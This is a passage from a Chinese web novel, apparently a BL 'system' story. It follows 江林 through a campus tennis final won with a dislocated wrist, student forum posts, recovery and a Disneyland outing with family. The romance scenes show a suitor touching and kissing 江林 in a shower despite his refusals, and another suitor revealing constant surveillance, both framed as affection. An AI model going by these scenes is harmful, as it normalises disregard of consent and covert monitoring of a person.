江林的生活在近两个月里,都保持着一种相对平静的状态,暴躁的李炎诞突然像老实了下来,平时很少回寝室睡觉。疯子一样的崔嘉树也冷静下来,那场性/爱似乎给了他极大的安全感,让他没有再咬着江林不放,至于秦锐清继续保持着高傲,并没有过多纠缠江林。 网球决赛随之而来,江林和赵云月和体育学院对上了。 李炎诞和崔嘉树都到了现场,崔嘉树每场都到,从不欠缺,江林有空的话崔嘉树就会请他和赵云月两个吃饭,没空的时候,就会保持礼貌地离开。 “最后一场了,能赢最好,不能赢拉倒,谁敢怪你,老子揍死他。”这话除了李炎诞这个莽夫大概其他人很难说出口,配着他凶神恶煞的表情,还真有三分凶戾。 他们这次没有坐在观众席,而是坐在指定的教练席,崔嘉树没多说什么,给他们鼓励:“赵同学和小星都要加油。” 江林朝着两人点了点头,赵云月紧张地深呼吸,观众席坐满了人,甚至很多人都拿着两人的横幅,对他们的期望很大。 可是对上专业选手,他们的压力可想而知,特别是体育学院和商学院的学生之前还在论坛对骂了几千条,几乎都是杀红了眼的状态。 最后那个论坛被崔嘉树让管理员封掉了,不想给他们两造成这么大的压力。 但是很明显双方的观众已经杀气腾腾、蓄势待发。 “别担心,你想想对方压力比我们更大,我们输了可以说是术业有专攻,他们输了才是真的丢脸。”江林热了热身,安慰着明显有些紧张的赵云月。 赵云月握了握拳,嗯了一声:“我全力以赴就行了。” 江林这次戴的是白色的发带,手上缠着白色的绷带,上次有一点小小的肌肉拉伤,清亮的黑眸露出,眼神坚毅又冷静。 他们几人的身板的对比在双方对手握手期间,显得尤为明显,体育生粗壮有力的右臂,江林的手臂虽然不显得单薄,但也绝对称不上健硕。 “同学们友谊第一,比赛第二啊。 “南榕大学第十一届网球总决赛现在开始——” 先是用硬币确定接发球方,江林方率先发球,他站在发球区。观众席随之安静下来,网球微微扬起,随着球拍撞击网球发出的沉闷声响,网球如同离弦之箭飞过球网,对方选手飞快移动位置,邦邦几声,打得你来我往。 江林和赵云月的技术算不上多好,但很稳,心态稳,球技稳,发球接球也默契十足,像是毫无破绽的铜墙铁壁,无论对方多么刁钻的球,都能迅速反应过来,满场接球。 崔嘉树视线只落在江林身上,微微半蹲的身体,露出肌肉流畅的小腿,在偌大的赛场上江林白的反光,耀眼夺目。 他给人的印象一直都是公然无害,完全不像是会打这种高强度球类的同学,但他最擅长的就是打破人的认知观念。 赛程过去大半,时间过去两个多小时。江林他们也只落后了一局,完全有机会翻盘,因为对手已经急了。 体院学院的两个学生从开始比赛,就很少将这些对手放在眼里,遇见他们的对手,基本清一色的零封,所以他们非常骄傲,现在眼见着观众关系越来越浮躁,他们也有些稳不住心态了。 就算被工作人员警告,观众席还是有人忍不住骂了起来。 江林手腕隐隐作痛,他们和对方选手力量悬殊,接球其实对他们造成了不小的压力,发带已经全湿了,他穿着深红色的短袖也被沁满了汗水,身体肌肉都酸涩无比,但没有人放弃。 “不是,这场球怎么打了这么久?”李炎诞很小声地嘀咕了一句。 坐在他旁边的教练汗流浃背地解释道:“对手比较强势,而小孟小赵他俩又不是轻易服输的性格,就这么杠上了,这局平了,就要抢七了。” “我感觉他的手都使不上劲了,刚刚摸了两下,是不是受伤了?”李炎诞满脸煞气,如果眼神能杀人,江林对手怕是已经百孔千疮了。 “上次比赛就有一点小拉伤如果受不了他会暂停的。”教练抹了抹汗,也为他们捏了一把汗。 “我感觉他就是手断了,他也不会认输。”李炎诞低骂了一句。 一开始所有人都以为这两位是来打酱油的,没想到还挺进了决赛,现在热度这么大,他们这么努力,一股油然而生的自豪感,教练也不想他们输。 崔嘉树只是静静看着大汗淋漓的江林,他正在大口喘着气,胸膛起伏不定,身体体能经过三个多小时的对战,应该已经到了极限,阳光下汗珠浮动的脖颈光泽诱人。 崔嘉树很喜欢运动场上的江林,所以他每一场都没有落下,他有一种令人心惊的磅礴活力,仿佛有一棵树拔地而起遮天蔽日,好似没有事情是江林做不到的。 江林感觉自己浑身像是从水中泡过,全身湿淋淋的,让他有些寸步难行,眼中没有其他人,只有对手和那个黄色的小球,精疲力竭全靠一股意志在坚持。 赵云月拿拍子的手都有些握不住了,所以江林在尽量分担她的压力,没人想放弃,都在咬着牙坚持。 从一开始的落后,无人看好,到现在的平局,双方的状态都岌岌可危,如同紧绷的弦,现在拼得就是耐力和意志力。 【#商学院最牛#】 456楼:怎么样?商学院赢了吗? 457楼:没有还在打,很焦灼,我靠,这群杂种,我看见有人在对孟竖中指,我操他大爷的,老子要去和他干一架 458楼:没事,学体育的能有多有素质 459楼:他们俩好牛啊,那股精神不知道的还以为他们在参加什么抗战运动 460楼:你们给他们架那么高,人家不赢不得被你们骂死? 461楼:不是,楼上这人说的,谁会骂他们?虽败犹荣好吗?对手是专业的,输了也没什么大不了的。 462楼:他必赢!你们没在现场,好燃,我靠!我看得眼泪都下来了,刚刚第六局,最后一个球好惊险。MNX贼牛,三个小时还能这么快跑去补救稳稳接球,真的超级爽,对面的脸都气绿了。 463楼:MNX真的好稳啊,从头到尾都是我们在尖叫,他一直面无表情,超级认真,打球好飒!坦白说我真的想让他赢,一开始对面好拽,根本瞧不起人 464楼:之前不知道孟有什么人格魅力,但今天近距离地看他比赛,我发现他真的好吸引人,就是那种目光下意识放在他身上,觉得他一定会赢。 465楼:对对对,真的,感觉不赢全世界都对不起他 江林咬牙狠狠挥拍,下颌线紧绷,颈间汗意晶莹,球飞过球网,落在地上。对手急得扑到在地上都没有接到,气急败坏的摔拍。 比赛结束,赵云月瘫倒在地上,江林也虚脱的半跪在地上,脸上全是汗。 赵云月抬头对上江林的难掩疲惫的脸庞,无力地扯出一抹笑容,伸手握住他伸过来的手,眼泪夺眶而出,喜极而泣:“我们赢了,哈哈哈。” 江林用球拍撑在地上,低头看着她露出一个笑容,没力气说话。 但是几秒之后,江林的腰被一个有力的臂膀环住,他整个人被抱离地面。 李炎诞大吼着将他抱起来,他没有力气,被抱着转了几圈,全场的欢呼声为他响起,似乎在一直喊孟南星的名字。 “你他妈的怎么这么牛啊你。”李炎诞激动地抱着他,恨不得将人藏起来,灵魂都因为他而发颤。 很多人都是为他欢呼。 江林心情好,也没力气去推开他,让他揽着自己的肩膀,教练也让人来照顾赵云月了。 崔嘉树轻轻抓住他缠着绷带的右手,查看了一下情况,语气带着笑意:“恭喜我们的冠军。” “小赵的情况是领不了奖了,你呢?”教练开口问。 “我可能也不太行了。”江林刚刚就是靠着一股精气神支撑着,现在比赛完,浑身透支的酸胀无力,站都站不稳了。 “教练你帮我们领一下吧。”江林说。 江林被李炎诞扶着去了休息室,李炎诞给他倒了杯水:“先喝口水。” 崔嘉树叫了校医,给他查看身体。 “同学你的手不疼吗?”校医有些惊讶地看着他。 “疼。”江林红着脸回答。 “你的手腕都脱臼了。”校医满脸震惊,不知道他是怎么坚持完整场比赛的,也完全没人察觉到他是什么时候脱臼的。 李炎诞杯子都摔到地上了,“什么?!” “现在马上送去医院,检查拍片。”校医严肃地说道。 崔嘉树眼神微凝,又弯了弯,没多严肃,还在开玩笑:“宝宝,就算爱我,也没必要真的来这么陪我吧。” 江林掀起眼皮看了他一眼,崔嘉树唇角的笑意就顿了顿,没有继续开口。 【#商学院赢了吗?赢了#】 754楼:别刷屏牛逼了,孟进医院了,他右手脱臼了。 755楼:??? 756楼:???什么东西? 757楼:不是,他脱臼了怎么打得球啊?我靠?真不怕手废了?什么钢铁般的意志啊? 758楼:他真的我服了。 759楼:【图片】srds我还是想问,现在他和李崔什么关系? 照片里李炎诞抱着江林,崔嘉树却牵着他的手,难舍难分的三角恋关系。 769楼:卧槽,我愿意称这是mvp结算画面。 770楼:【图片】滚犊子啊,这张照片才算好吗?李和崔他们凭什么?最好的星月!! 众人欢呼下,江林单手撑着网球拍半跪着和躺在地上的赵云月握手的画面,俊男美女,并肩作战,充满了战损的荣光。 771楼:这张确实比较顺眼,不过要不要去医院看看孟啊,他也是为了我们学院荣耀 772楼:打听不到,他去了哪个医院都没人知道。 江林其实没想到自己的手这么严重,当时只想着赢,只觉得手腕有些小疼,其实如果当时知道他的手脱臼了,他也许不会继续坚持吧,毕竟右手脱臼真的很麻烦啊。 他的右手打了石膏,李炎诞可以光明正大地给他洗内裤了。 江林: 第38章 当被强制住院一周的江林同学回到学院的时候, 受到了前所未有的关注,他很少会关注论坛,所以不知道他现在是论坛“红人”, 当他一下课被学生团团围住的时候,还有些懵。 “孟南星你手好些了吗?” “上次比赛你好帅啊, 这是给你的花?!” “太争气了,我好喜欢你!” 李炎诞臭着脸挡在江林跟前,不让那群冒昧的人挤到他, 随着这边喧闹声越来越大,教室里围观的人也越来越多, 递给江林的花也接都接不完,但他手受限制,只能拿下一捧。 江林看着拥堵的人群,躲在李炎诞身后,第一次想要夸赞李炎诞还好身躯高大,像个熊似的杵在他前面, 也没人敢推他, 暂时让他不至于被裹挟到人流中。 “谢谢, 谢谢大家关心,我没什么事儿, 我们先走吧, 再晚一点食堂没饭了。”江林面对这么热情的场景,只觉得头皮发麻,推了推李炎诞的肩膀, “我们先出去吧。” 李炎诞便有一种一夫当关万夫莫开的气势,领着江林离开,同时抛下狠话, 如果有人敢跟过来,就揍谁,这才打住这场热烈的追捧。 “你现在真的是商院大明星了。”李炎诞瞅了他一眼,这话说的酸溜溜的,没多少祝福。 他可没有崔嘉树那么大方,他只希望江林的好自己看见,被自己私藏,不想自己的竞争对手这么多。 江林看着自己手上的一捧鲜花,郁金香、玫瑰和百合搭配,清新淡雅的美丽,准备的人是花了一些小心思的,上面还有一张小小的卡片,没有署名,只有八个大字,早日康复,天天开心。 “这种因为一场比赛带来的短暂狂热追捧,随着时间推移很快就会消失的。” 就像运动员,参加奥运会取得金牌的那段时间风光无限,荣耀加身,但过了那段热潮之后,就会变得无人问津,重新回归正常的训练和生活。 “那正好,真的很讨厌他们像苍蝇一样在耳边嗡嗡的。”李炎诞拿过他手上的花,表情嫌弃:“这种东西有什么好看的?” “你别扔了。”江林看出他逐渐靠近垃圾桶的脚步,如果再不开口,可能下一秒他就要把花扔掉了。 李炎诞被看出意图,撇了撇嘴,无语道:“今天想吃什么?我去给你打饭。” 原本行踪成谜的李炎诞,因为江林的手受伤,又开始全天无休地跟在他身边,他上厕所都恨不得给他把尿,最后是被江林骂出去的。 “吃铁板烧。”江林找了个位置坐下,等李炎诞给他买饭。 李炎诞吃不惯这些饭菜,只是草草吃了两口,就撑着下巴看着江林用勺子笨拙的吃饭。 他的眉眼生的很好看,眉骨微深,却不是那种有侵略性的深邃,眉形不细不粗,不是浓眉大眼,也不是女生的细长柔美,清秀而不失清俊,眉眼间像是一幅浓淡相宜的水墨山水画。 越看越有味道,莫名让人对他生不起气来。 但江林笑起来的时候,又会让人觉得很温暖,宛如单调的山水画出现的浓墨重彩的暖阳。 而在李炎诞的威慑下,没人来打扰江林吃饭,两人回到宿舍,江林不是左撇子,左手写不了字,便只能看些书来打发时间。 李炎诞如果不开口主动说话,江林能将他当空气忽视掉,一整天不说话。 “喏,喝点热水。”李炎诞拿着他的保温杯,给他倒了点热水。 江林点了点头:“谢谢。” 李炎诞站在他身后没动,然后仿佛不经意间俯身,嘴唇都碰到江林的耳尖了,假模假式地好奇:“你在看什么书?” 耳畔的呼吸热气腾腾,有些痒,江林下意识地缩了缩脖子,有些无语地看着他:“你别挨这么近。” “我只是好奇你在看什么书。”李炎诞无辜地看着他。 江林将封面给他看,《当下的力量》。 李炎诞看书名,就觉得扑面而来的一种励志精神,瞬间就萎了,吐槽道:“这有什么好看的。” 江林懒得劝文盲读书,顺着他的话道:“的确没什么好看的。” “你挡着我的光了。” 被江林嫌弃后,李炎诞气冲冲离开,将凳子拉开的时候,故意发出刺耳的声音,他打开电脑,开始打游戏,大骂游戏里的人是傻逼。 江林视线专注在书上,用心声问系统:“我记得从前如果是这种攻略任务,是会有攻略值的。” 系统隔了一分钟才慢吞吞回答:“这个不能和宿主透露。” 系统嘴上这么说,但在江林的空白草稿纸上出现了三个名字和三个数值。 李炎诞攻略值:78%,崔嘉树攻略值:70%,秦锐清攻略值:53%。 江林一眨眼,草稿纸上面显示的字又消失不见了。他颇为苦恼地叹了一口气,其实他很不喜欢做攻略任务,人心最难捉摸,且非常麻烦,稍有不慎就可能因爱生恨,前功尽弃,特别是这种多人攻略任务,更是棘手。 晚上十点多,江林趁着李炎诞正在热火朝天地打游戏,轻手轻脚地准备去收拾衣服洗澡,但是刚站起来,李炎诞就像是后脑勺长了眼睛似的,瞬间转过头来,和江林面面相觑。 “你去干嘛?”李炎诞问。 江林面无表情:“” 他真的不想让李炎诞给他洗澡了啊。 “手都断了,还要逞强什么?我还能吃了你啊?”李炎诞塑料封袋,给江林的石膏包好,嘴里絮絮叨叨地嫌弃着,但眼神很是雀跃兴奋。 “我左手没断,我自己可以。”江林试图拒绝。 “不行,多不方便啊。”李炎诞处理好江林的石膏,信誓旦旦地说道:“而且我给你洗过三个澡了,对你做了什么吗?没有吧,好朋友之间互相帮助怎么了?” 江林很想说,他脸上已经很明显地露出这次要大干一场的表情了。 他被李炎诞推着进的浴室,江林抿了抿唇,浴室还算宽敞,就算容纳两个人也不显得拥挤。 两人对视一眼,李炎诞率先脱掉了自己的上衣,露出紧绷健硕的肌肉群,在江林警惕的眼神下,保证道:“我不脱裤子,只是衣服被打湿黏在身上不舒服。” 江林每次被李炎诞洗澡,都会觉得自己在承受一场侵略性十足的视奸,因为他的视线会舔/舐过他每一寸肌肤,感觉下一秒,李炎诞就会舔上来,这像是一场遥遥无期的煎熬。 “之前就想问来着,你脖子上这个观音牌是你谁送你的?”李炎诞轻轻扯了扯他脖子上的红绳,掌心在他脖颈上轻轻揉了揉,红白相间的艳色对比着。 “我爸妈给我的。”江林抬起手臂,右手搭在一个新建的台子上,就是为了给他放手臂的,水流声潺潺,他脸颊浮了点红,唇湿红湿红的,回答的声音有些喘。 “不会是那种传家宝之类的吧。”李炎诞低笑一声,这玉看起来很旧了,价值瞧着也不太高的样子。 江林喉结轻轻一滚,抬手打掉李炎诞的手,不让继续作乱,“别乱来,只是保平安的玉。” 李炎诞手上是湿滑的泡沫,捉住江林打人的手,轻轻搭在自己肩膀上,笑了笑,抱住他,蒸腾的水蒸气让江林的睫毛都变得湿漉漉的,凑到他下巴亲了一口:“没乱来,你别乱动,小心把石膏弄湿了。” 江林闭了闭眼,咬牙克制,身体缓缓一抖,李炎诞趁机吻了吻他的嘴。 就在这时,江林衣服里面的手机响起来,李炎诞低头扫了一眼,发现是崔嘉树的名字,脑子一热,接起来:“喂?” “小炎?”崔嘉树顿了两秒准确喊出他的名字。 “什么事儿?我在和孟南星洗澡,有屁快放。”李炎诞语气中带着点炫耀,颇有扬眉吐气的感觉。 “哦,是吗?”崔嘉树含笑的语调中带着质疑。 李炎诞捏了捏江林,江林蹙眉从喉间发出嗯的一声。 “好的,宝宝玩得开心呐。”崔嘉树没有表现出任何的气急败坏,还暖心祝福,关心提醒:“但别玩得太久了,小心着凉。” “不用你操心。”李炎诞挂断了电话,唇角的笑意比AK还难压。 江林睁开眼,迷离的双眼逐渐恢复了清明,语气很淡,“以后再敢给我乱来,我砍掉你的手。” 李炎诞舔了舔唇,想到了那天崔嘉树满身是血的样子,忍不住心生惧怕,但色胆包天,甚至有些委屈的说道:“都是在帮你,我又没爽到” “滚。”江林轻斥 等江林在商学院的热度下去,李炎诞又重新忙了起来,不会时时刻刻守在他身边,而崔嘉树一周总会找江林两到三次,邀请他吃饭或者玩儿,江林看心情回复,绝大多数是拒绝的。 大家都很忙,家家有本难念的经,富二代也不是那么好当的。 江林从傅清池那里知道三人的消息,李炎诞是被他父母用江林作为要挟,开始接手家族事业。崔嘉树因为他父亲回国,正在暗中谋划着什么。秦锐清也忙,当初被他弄到国外瞎了一只眼的继姐回国了,携同他的富商老公。 这些事情的推动少不了傅清池的推波助澜,当然傅清池也并不轻松,晋升道路被阻,现在正在活络关系,准备竞选。 眼见着暑假到了,江林的手也好得差不多,他没有忘记当初答应妹妹孟南雪带她去迪士尼玩的事情,暑假的时候宿舍不开放,他在外面租了一个房子,短租一个多月。 顺便让父母也一起来玩,他自从开始在傅清池手中拿工资以后,半点都不客气。面对f3他起初要保持人设不能拿他们的钱,后来是单纯地不乐意拿。 但傅清池不同,他拿的毫无心理障碍,毕竟他有真的在帮他做事。 还在帮他对付其他三家。 一开始孟父孟母不愿意来的,劝了好久才松口。 江林最后一堂考试结束,准备去机场接人,崔嘉树的电话掐着点打了过来,语气轻轻:“伯父伯母过来了吗?我陪你一起去接人吧。” 崔嘉树几人没上两节课,甚至考试都没参加,三人考试的位置空旷旷的。 “车已经在下面了。” 江林懒得再打车,便同意了,背起书包,穿着一件白色的衬衣短袖,下面是黑色长裤,像个漫画里的青春美少年。 他发丝乌黑柔软,手臂白皙纤细,踩着干净的运动鞋,在拥挤的人流中,看见了那辆醒目的豪车,大剌剌地停在门口。 他不是第一次坐崔嘉树的车,倒是没装什么矜持,在众人打量的眼神中坐进了后座。 “考试辛苦啦,宝宝。”崔嘉树这个称呼像是改不掉,只要人少,就敢这么叫,当然人多的时候他也敢叫宝宝,只是怕江林会好几天不搭理他。 江林看了他一眼,穿得西装革履,戴着斯文的金丝边眼镜,弯着眸子笑,人靠衣装,马靠鞍,这身打扮的崔嘉树如同刚刚洽谈完上亿合同的上流精英人士。而江林背着自己的小书包,仿佛不谙世事的清纯高中生,嫩得不行,两人不像是一个画面中的人。 “接了伯父伯母,我请你们午饭吧。”崔嘉树摘掉右手的白手套,轻轻牵住江林的手,放在手心把玩着他的手指,江林心情好的时候,是不会吝啬牵手、亲脸这种肢体接触的。 也不是自愿,崔嘉树知道江林只是懒得浪费力气和他生气,才会放任他动手动脚。 “看我爸妈的情况吧。”江林揉了揉眉心,懒懒散散地说道。 “今天宝宝看起来好青春啊,像个水灵灵的男大。”崔嘉树将车内的隔板升起,挪到他身侧,腿贴着他的。 江林圆润的眼盯着他,清澈黑亮,手背崔嘉树轻轻抬起,在手背上落下几个轻轻的吻,车内舒适的温度和湿度,让人昏昏欲睡,江林却从崔嘉树眼中瞧见了炙热难忍的眼神。 “你想干什么?” 崔嘉树蹭了蹭他的手背,提出自己的诉求:“我最近很乖吧,是不是可以给我多一点奖励呢?” 江林漂亮的眸子闪过一丝讽刺笑意,勾了勾唇:“你的乖是指全天监视我的行动吗?” “我这是怕你遇到危险。”崔嘉树冠冕堂皇地说道。 “我不喜欢。”江林蹙了蹙眉,认真地拒绝。 “那我让人都离开。”崔嘉树顺从地说道,声音有些轻,望着江林薄薄的红唇,他的唇形很优越,唇珠饱满,形状漂亮,弧度微翘,忍不住凑上前亲了亲。 江林偏头避开他的吻,没吻到崔嘉树梦寐以求的唇,只能轻啄了两下他的脸颊,他试探地摸上江林的腰,江林拧眉,却没有出声拒绝。崔嘉树眼底闪过一丝惊喜,低声喊了一声:“宝宝” 崔嘉树六位数的定制西服一丝褶皱都没有,在他屈膝跪在车垫上的时候,舒适的布料还是紧贴着有力的腿型,西装革履、气质矜贵的男人跪在漂亮少年脚边,仰头看着薄唇微抿的少年。 少年的样貌真的很年轻,所以一点情绪都藏不住,舒服就是舒服,难受就是难受,那双眼睛透露着单纯的情绪,正是因为单纯,便显得格外地性感,眼尾泛红地喊了一声崔嘉树的名字,差点让他缴械投降。 接近机场,江林缓了口气,除了空气中残留着一点暧昧的气息,其他任何痕迹都不见踪影,崔嘉树一向体贴入微,不会让江林有半点为难,因为若是弄砸了,江林不会再给他第二次机会。 “宝宝,你上次还是和李炎诞在浴室吧。”崔嘉树嘴角有点红,连喝了好几口水,衣冠楚楚地毫无破绽,轻轻弹了弹膝盖残留的灰渍,他像是在江林身上装了摄像头,对他的动向了如指掌。 江林卷翘的睫毛轻轻眨了眨,垂着的眼水光一片,他没哭,但眼眶红了,眼皮也是红的,像是雨后的海棠花,娇艳但又纯净,那种不自知的可爱迷人,只需要一个眼神就能让崔嘉树疯狂。 江林见崔嘉树又像闻着腥味的狗凑上来,这次没留情,直接将人狠狠推开了,拧眉道:“滚开。” 崔嘉树并不生气,降下隔板,顺便开了点窗户,笑着道:“难怪这么” 后面的话因为灌入风声太大,江林没听见,但他也没想认真听,反正是一些不要脸的话。 江林拨通了母亲的电话,“你们到了吗?” “看一下是几号出口。” “三号?好,我马上过来了。” 孟家父母都是第一次坐飞机,大包小包地还给江林带了很多特产,那些东西都要托运,让孟父母肉疼了好久,还是舍不得扔掉,给江林带了过来。 车停下车,孟家父母下意识要让开,以为挡了别人的道,直到看见江林的脸,才面露惊喜。 “哥哥!”孟南雪最激动,冲上前抱住他的腿。 江林抱起她,唇角勾起笑,“坐飞机好不好玩?” “好玩好玩,我感觉我都能摸到云了诶”孟南雪抱着他的脖子,激动地说道。 崔嘉树声音礼貌的响起:“伯父伯母好,我是小孟的同学,先上车吧。” 孟父孟母哪里见过这种架势,司机来帮忙搬行李的时候连说不用,自顾自地将东西一股脑塞进后备厢,生怕麻烦到别人。 几人坐上车,孟兆就算不认识这车什么牌子,但是开了这么多年出租车,这里面的装饰一看就是价值不菲。 都说金海市到处都是有钱人,这话真不假啊。 “伯父伯母好不容易来金海玩一次,不知道我有没有这个荣幸给伯父伯母接风洗尘呢。”崔嘉树斯文有礼,说话温和不带任何攻击性。 “这怎么好意思啊,你是星星的朋友,应该是我们请你吃饭才对。”孟兆客气地说道,有些不好意思让小辈请客。 江林捏了捏孟南雪的脸,她乖巧地蹭着哥哥的手,坐在江林腿上,满脸的幸福。 “伯父不用和我这么客气,这是我身为东道主应该做的。”崔嘉树动之以情晓之以理,“而且在学校他对我很照顾,经常给我补课,我该谢谢他的。” 他满脸真诚,但说谎都不打草稿。 孟兆很尊重江林,就算崔嘉树说出花来,也不会轻易答应,只是淳朴地笑了笑:“我听星星的安排。” 崔嘉树这才看向一直没怎么说话,只顾着逗小孩的江林,“星星?” 江林和他对视一眼,见他眼底露出一点哀求可怜的神色,勾了勾唇,无所谓地说道:“那就谢谢嘉树哥了。” 崔嘉树头皮发麻,视线凝在他脸上,差点绷不住脸上的温和,已经很久没有听见这个称呼了 崔嘉树看见江林另外一面,在父母面前听话乖顺的样子,不是那种装出来的听话,气氛十分融洽,他们之间流露出那种让外人插不进去的亲密。 这种崔嘉树从未经历过,但经常在别人身上看见的幸福。 几人在崔嘉树家酒店吃饭,又是满汉全席般地款待。 “小朋友要喝牛奶吗?”崔嘉树低头看向小女孩儿。 “我要喝可乐!”孟南雪握住杯子,坐在哥哥旁边。 崔嘉树看了一眼江林,见他点头,才让服务员拿了一罐可乐过来。 “那个星星这么多菜要多少钱啊?”孟母桃星雪看着几十道菜,小声问江林。 江林也用同样的小声,安慰道:“妈,这个酒店是他家开的,不用花钱。” 桃星雪还是不放心,有些担忧会不会影响到江林之间的同学感情:“也太破费了吧。” “没事的,妈,我在学校也经常请他吃东西的。”江林为了让母亲安心,随口胡说:“而且这是人家的好意,你如果拒绝了,他还以为你嫌弃他呢。” “他们有钱人性子怪得很,您多吃一点就好了。” “这样啊,那好吧。”桃星雪目露惊讶,点了点头表示会努力的。 然后把自己吃撑了。 “伯母,这是消食茶,您喝一点,我刚刚见您吃太多了。”崔嘉树注意着每个人的状态,给孟兆准备了价值不菲的烟,给桃星雪准备的一个项链,孟南雪的礼物是一个和母亲同款的小手链。 “这些太贵重了,我们不能要。”孟兆身为一个老烟枪,自然是知道这烟有多贵,直摇头。 崔嘉树给江林也倒了一杯消食茶,笑着说道:“您一定要收下,特意给您准备的,我们都不抽烟,这不是浪费了吗?” 他准备的见面礼不算很贵重,普通家庭咬咬牙还是买得起的,倒是让人不好拒绝。 “星星,你让伯父伯母收下吧。”崔嘉树视线落在江林脸上。 江林喝了一口有些苦涩的茶,眼底眸光微深,看向他的眼神略带审视和打量似的,他安抚地看向爸妈:“没事儿,收着吧。” 孟兆他们倒也知道不能表现得太没见过世面,都讲究礼尚往来这一套,这位儿子的同学很明显是个有钱人,如果他们收下礼物,以后江林还礼,一来二往关系自然就好了起来。 所以当江林点了头,他们也就不再推辞了。 这场饭局,就算崔嘉树是外人,但也并不尴尬,他恰到好处地礼貌,不会让人觉得冒昧。 最后,他送江林他们回到租好的房子里,桃星雪客气地邀请他上楼做客。 崔嘉树不动声色地扫了一眼江林,见他抱着小孩儿,低头和她说话,便微微一笑:“那打扰了。” 三室两厅的房子,一个餐厅,一个客厅。 “妈,你们先去整理房间。”江林放下孟南雪,摸摸她的脑袋:“去看看你房间里有什么。” 客厅里,只剩下江林和崔嘉树。 “喝水吗?”江林抬眼看他,语气很平静。 “喝,宝宝。”崔嘉树弯眸弯弯,跟着江林去了厨房,低声道:“伯父伯母人都蛮好的,不考虑让他们在金海定居吗?” 江林拿出杯子,给他倒了一杯矿泉水,环臂靠在灶台边,想也不想回绝:“不考虑。” “我可以给他们安排工作。”崔嘉树仍在争取。 江林轻轻掀起眼帘,黝黑的眼睛看着他,轻嗤一声:“怎么?想用他们继续威胁我?” “怎么会?”崔嘉树说,语气很轻,“我已经不会这么做了,你知道的。” 江林不置可否,鬓角散乱着的黑发被崔嘉树抬手扶到耳后,他眉眼间轻松慵懒,有股恬静的气质,崔嘉树问:“我今天表现好吗?” “?”江林睫毛一抬,漫不经心地目光看向他,扯了扯唇角,“今天车上的奖励还不够?” “不够。”崔嘉树有些苦恼,彬彬有礼的笑容,眼底却藏着如同岩浆般炙热的火光,有些痴痴地看着他:“我就像你养的狗一样,一直饿着,快要死了,才给我一根骨头舔一舔。” 江林原本还算温和的表情逐渐冷淡了些,精致立体的五官生出丝丝冷意,“你应该知道我连骨头都不想给的。” “没有人让你做这些。” 崔嘉树见他冷脸,放下茶杯,抓住他的手,无奈认错:“好好好,对不起,算我错了,不该贪得无厌” 江林只是静静看着他,眼眸深黑。 崔嘉树亲亲他的手腕,放低姿态:“错了错了。” 第二天,一行人是坐李炎诞的车去的迪士尼。 孟兆和桃星雪面面相觑,对于自己儿子的人脉表示佩服,又来一位少爷。 李炎诞爽朗的笑道,“迪士尼我从小玩到大的,今天给叔叔阿姨们当导游啦,放心玩,消费我来买单。” 孟南雪坐在江林怀里,看了一下驾驶位上的李炎诞,又抬头看看哥哥,扒拉江林的手臂,喊了一声:“哥哥?” “嗯?”江林低头。 “哥哥,这个也是你男朋友吗?”孟南雪小声在他耳边说道,只有他们两个能听见。 “”江林愣了一下,问:“谁和你说的这些?” “就是昨天那个叔叔,不对,哥哥,说他是你男朋友。”孟南雪昨天才问爸爸妈妈搞懂男朋友是什么意思。所以她就好奇,为什么哥哥有这么多男朋友。 “不是。”江林摇了摇头,揪着她的头发小啾啾,轻声道:“不要相信陌生的人话。” “哦,好的。”孟南雪乖乖点头。 李炎诞没有崔嘉树的游刃有余,但是他脸皮厚,为人还算直率,所以也能算融入他们一家,而且李炎诞打了招呼之后,一路绿灯,所有的项目都不需要排队,让他们玩了个尽兴。 孟南雪带着米奇发箍,给哥哥也挑了一个。 江林戴上发箍,发现李炎诞正在拿手机给他拍照,下意识看了他一眼,李炎诞咧嘴笑了笑:“给你拍了张好看的照片,发你吗?” 江林戴着米奇发箍,显得很乖,今天随意穿了一件白色短袖,吃着冰激凌,额前的刘海汗湿了一角,热得耳朵都红了。 李炎诞抱起孟南雪,让她骑在自己脖子上。 “哇,好高啊,哥哥!”孟南雪兴奋的抱住李炎诞的脑袋。 孟家父母觉得冒昧,想让女儿下来,但李炎诞只是稳稳扶着她,说着没事。 江林几人玩了一圈,父母带着孟南雪去厕所了,李炎诞和江林在抽烟区,他点了根烟,问:“玩完了,准备去哪?” 江林摘掉发箍,擦了擦脸上的汗,如同出水芙蓉的眉眼,牢牢地抓着人的眼球:“去吃火锅。” “行。”李炎诞双眼难掩疲惫,为了今天能出来,他熬了一个通宵,“听说昨天崔嘉树请你们吃饭了?” “嗯。”江林点了点头。 李炎诞拧着眉,有些不满:“他一肚子坏水,你别理他。” “行。”江林不想和李炎诞争论什么,因为这会浪费他更多时间。 “啧,你敷衍我,你根本没听见去。”李炎诞被气笑了,龇牙咧嘴地说道。他现在整个人和江林初见时的暴躁小子有很大的区别,眉眼间成熟不少。 江林笑了一瞬,许是家人在身边,心情不错,浑身透着一种轻松的愉悦,微风吹过,眉眼舒朗,很是明媚。 “”李炎诞吸了一口烟,落在他身上的眼神更深了些,对于得不到的东西,越是珍惜,越是想要,越是蠢蠢欲动。 “我最近在忙公司的事情,你不会怪我没陪你吧。”李炎诞虽然知道江林恨不得自己永远消失,却还是主动解释道。 “不会。”江林的回答果然让人伤心。 李炎诞很快掐灭了烟,因为孟南雪回来了。 “哥哥,那里是什么地方?”孟南雪门口有骷髅头装饰的鬼屋问道。 “鬼屋。”江林回答。 “真的有鬼吗?”孟南雪双眼兴奋,小孩子不知道怕,她在家看恐怖片都半点不带怂的。 “”江林。 当身处黑暗的鬼屋中,十来个人一起的,里面开了空调显得阴气森森的,伸手不见五指的黑,孟南雪牵着江林的手,桃星雪害怕没进来,孟兆在外面陪着她。 随着应景的音乐声响起,那种阴风猎猎,鬼哭狼嚎的背景音乐,营造着非常恐怖的气氛,江林不怕这些,但突然感觉肩膀上搭上了一个手,人被揽进了李炎诞怀里。 “别怕,我保护你。”李炎诞低声在他耳边说。 江林牵着孟南雪的手,没推开他,就这么往前走,他们在最后,时不时从下面伸出来手抓着他的脚踝,江林没什么反应,李炎诞会被吓得一激灵,然后还会强装镇定地说,别怕别怕。 孟南雪扑哧一声,笑出声来:“李炎诞哥哥,我哥哥才不怕呢,你胆子好小啊。” 李炎诞面子上挂不住,憋着没说话。 “小雪你别说他了,等下他该发脾气了。”江林开口道,然后拍了拍李炎诞的胳膊:“行了,马上出去了,忍耐一下。” 李炎诞的确怕这些鬼魂什么的,弄虚作假的也怕,有时候细思极恐,很吓人的。 迪士尼之行很快结束,李炎诞将江林他们送到火锅店之后自己开车离开了。 